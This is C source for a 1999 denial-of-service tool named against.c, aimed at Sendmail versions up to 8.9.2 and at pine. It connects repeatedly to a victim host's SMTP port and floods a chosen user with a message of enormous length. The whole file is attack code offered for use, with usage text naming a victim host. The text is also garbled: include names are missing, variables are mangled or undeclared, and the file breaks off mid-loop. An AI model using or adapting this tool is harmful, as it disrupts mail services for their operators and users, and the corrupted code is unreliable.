/* against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2) (c) 1999 by Usage: ./against existing_user_on_victim_host victim_host Example: ./against nobody lamers.net */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAXCONN 5 #define LINES 150000 struct hostent *hp; struct sockaddr_in s; int suck,loop,x; int main(int argc,char* argv[]) { printf("against.c - another Sendmail DoS (up to 8.9.2)\n"); if (argc-3) { printf("Usage: %s victim_user victim_host\n",argv[0]); exit(0); } hp=gethostbyname(argv[2]); if (!hp) { perror("gethostbyname"); exit(1); } fprintf(stderr,"Doing mess: "); for (;looph_addr,(void*)&s.sin_addr,hp->h_length); s.sin_family=hp->h_addrtype; s.sin_port=htons(25); if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket"); if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect"); if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); } usleep(100000); fprintf(d,"helo tweety\n"); fprintf(d,"mail from: tweety@polbox.com\n"); fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]); fprintf(d,"data\n"); usleep(100000); for(loop=0;loop